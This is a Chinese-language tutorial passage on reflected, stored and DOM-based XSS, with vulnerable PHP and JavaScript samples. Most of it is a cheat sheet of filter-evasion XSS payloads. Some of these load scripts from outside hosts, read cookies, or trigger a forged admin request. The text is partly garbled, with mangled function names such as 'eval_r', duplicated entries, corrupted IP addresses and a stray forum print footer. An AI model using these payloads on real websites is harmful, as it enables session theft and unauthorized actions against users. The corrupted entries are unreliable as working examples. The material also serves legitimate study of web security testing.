4.1.1 XSS的分类

1.反射型XSS

反射型XSS也被称为非持久性XSS,是现在最常见的一种XSS漏洞。XSS的Payload一般写在URL中,之后设法让被害者点击这个链接。

假设后端代码为:


<?php
    $username = $_GET['username'];  
    echo $username; 
?>

XSS攻击对应链接为:


http://xi.baidu.com?username=<script>alert(/xss/)</script>

2.存储型XSS

存储型XSS又称为持久型XSS,存储型XSS是最危险的一种跨站脚本。存储型XSS被服务器端接收并存储,当用户访问该网页时,这段XSS代码被读出来响应给浏览器。反射型XSS与DOM型XSS都必须依靠用户手动触发,而存储型XSS却不需要。

测试步骤如下,以留言板为例:

步骤1 添加正常的留言,使用Firebug快速寻找显示标签。

步骤2 判断内容输出(显示)的地方是在标签内还是在标签属性内,或者在其他地方。如果显示区域不在HTML属性内,则可以直接使用XSS代码注入。如果在属性内,需要先闭合标签再写入XSS代码。如果不能得知内容输出的具体位置,则可以使用模糊测试方案。

步骤3 在插入XSS Payload代码后,重新加载留言页面,XSS代码被浏览器执行。

3.DOM型XSS

DOM的全称为Document Object Model,即文档对象模型。基于DOM型的XSS是不需要与服务器交互的,它只发生在客户端处理数据阶段。简单理解DOM XSS就是出现在JavaScript代码中的XSS漏洞。

假设存在DOM XSS漏洞的前端代码如下:


<script>
    var temp = document.URL;
    var index = document.URL.indexOf("content=")+4;
    var par = temp.substring(index);
    document.write(decodeURI(par));
</script>

如果输入如下链接就会产生XSS漏洞:


http://xi.baidu.com?content=<script>alert(/xss/)</script>

这种利用也需要受害者点击链接来触发,DOM型XSS是前端代码中存在了漏洞,而反射型XSS是后端代码中存在了漏洞。反射型和存储型XSS是服务器端代码漏洞造成的,Payload在响应页面中,在DOM型XSS中,Payload不在服务器发出的HTTP响应页面中,当客户端脚本运行时(渲染页面时),Payload才会加载到脚本中执行。

常见XSS攻击方式如下。

·普通的XSS JavaScript注入:


<SCRIPT SRC=http://xi.baidu.com/XSS/xss.js></SCRIPT>

·IMG标签XSS使用JavaScript命令:


<SCRIPT SRC=http://xi.baidu.com/XSS/xss.js></SCRIPT>

·IMG标签无分号无引号:


<IMG SRC=javascript:alert('XSS')>

·IMG标签大小写不敏感:


<IMG SRC=JaVaScRiPt:alert('XSS')>

·HTML编码(必须有分号):


<IMG SRC=javascript:alert("XSS")>

·修正缺陷IMG标签:


<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

·formCharCode标签(计算器):


<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

·十六进制编码:


<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>

·嵌入式标签,将JavaScript分开:


<IMG SRC="jav ascript:alert('XSS');">

·嵌入式编码标签,将JavaScript分开:


<IMG SRC="jav ascript:alert('XSS');">

·嵌入式换行符:


<IMG SRC="jav ascript:alert('XSS');">

·嵌入式回车:


<IMG SRC="jav ascript:alert('XSS');">

·嵌入式多行注入JavaScript,这是XSS极端的例子:


<IMG SRC="javascript:alert('XSS')">

·解决限制字符(要求同页面):


<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.shell'</script>
<script>z=z+'.net/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval_r(z)</script>

·Spaces和meta前的IMG标签:


<IMG SRC=" javascript:alert('XSS');">

·Non-alpha-non-digit XSS:


<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>

·Non-alpha-non-digit XSS to 2:


<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

·Non-alpha-non-digit XSS to 3:


<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>

·双开括号:


<<SCRIPT>alert("XSS");//<</SCRIPT>

·无结束脚本标记(仅火狐等浏览器):


<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

·无结束脚本标记2:


<SCRIPT SRC=//3w.org/XSS/xss.js>

·半开的HTML/JavaScript XSS:


<IMG SRC="javascript:alert('XSS')"

·双开角括号:


<iframe src=http://3w.org/XSS.html <

·换码过滤的JavaScript:


\";alert('XSS');//

·结束Title标签:


</TITLE><SCRIPT>alert("XSS");</SCRIPT>

·Input Image:


<INPUT SRC="javascript:alert('XSS');">

·BODY Image:


<BODY BACKGROUND="javascript:alert('XSS')">

·BODY标签:


<BODY('XSS')>

·IMG Dynsrc:


<IMG DYNSRC="javascript:alert('XSS')">

·IMG Lowsrc:


<IMG LOWSRC="javascript:alert('XSS')">

·BGSOUND:


<BGSOUND SRC="javascript:alert('XSS');">

·STYLE sheet:


<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

·远程样式表:


<LINK REL="stylesheet" HREF="http://3w.org/xss.css">

·List-style-image(列表式):


<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS

·IMG VBscript:


<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS

·META链接url:


<META HTTP-EQUIV="refresh" CONTENT="0;
URL=http://;URL=javascript:alert('XSS');">

·Iframe:


<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

·Frame:


<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 3/6

·Table:


<TABLE BACKGROUND="javascript:alert('XSS')">

·TD:


<TABLE><TD BACKGROUND="javascript:alert('XSS')">

·DIV background-image:


<DIV STYLE="background-image: url(javascript:alert('XSS'))">

·DIV expression:


<DIV STYLE="width: expression_r(alert('XSS'));">

·STYLE属性分拆表达:


<IMG STYLE="xss:expression_r(alert('XSS'))">

·匿名STYLE(组成:开角号和一个字母开头):


<XSS STYLE="xss:expression_r(alert('XSS'))">

·STYLE background-image:


<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A
CLASS=XSS></A>

·STYLE background:


<STYLE><STYLE>
type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

·使用BASE标签:


<BASE HREF="javascript:alert('XSS');//">

·IMG嵌入式命令,可执行任意命令:


<IMG SRC="http://www.XXX.com/a.php?a=b">

·IMG嵌入式命令(a.jpg在同服务器):


Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

·绕符号过滤:


<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>

·URL绕行:


<A HREF="http://127.0.0.1/">XSS</A>

·URL编码:


<A HREF="http://3w.org">XSS</A>

·IP十进制:


<A HREF="http://3232235521″>XSS</A>

·IP十六进制:


<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>

·IP八进制:


<A HREF="http://0300.0250.0000.0001″>XSS</A>

·混合编码:


<A HREF="h
tt p://6 6.000146.0×7.147/"">XSS</A>

·节省[http:]:


<A HREF="//www.google.com/">XSS</A>

·节省[www]:


<A HREF="http://google.com/">XSS</A>

·JavaScript链接:


<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

常见XSS攻击载荷:


<IMG SRC=x ontoggle="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<INPUT TYPE="BUTTON" action="alert('XSS')"/>
"><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1>
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>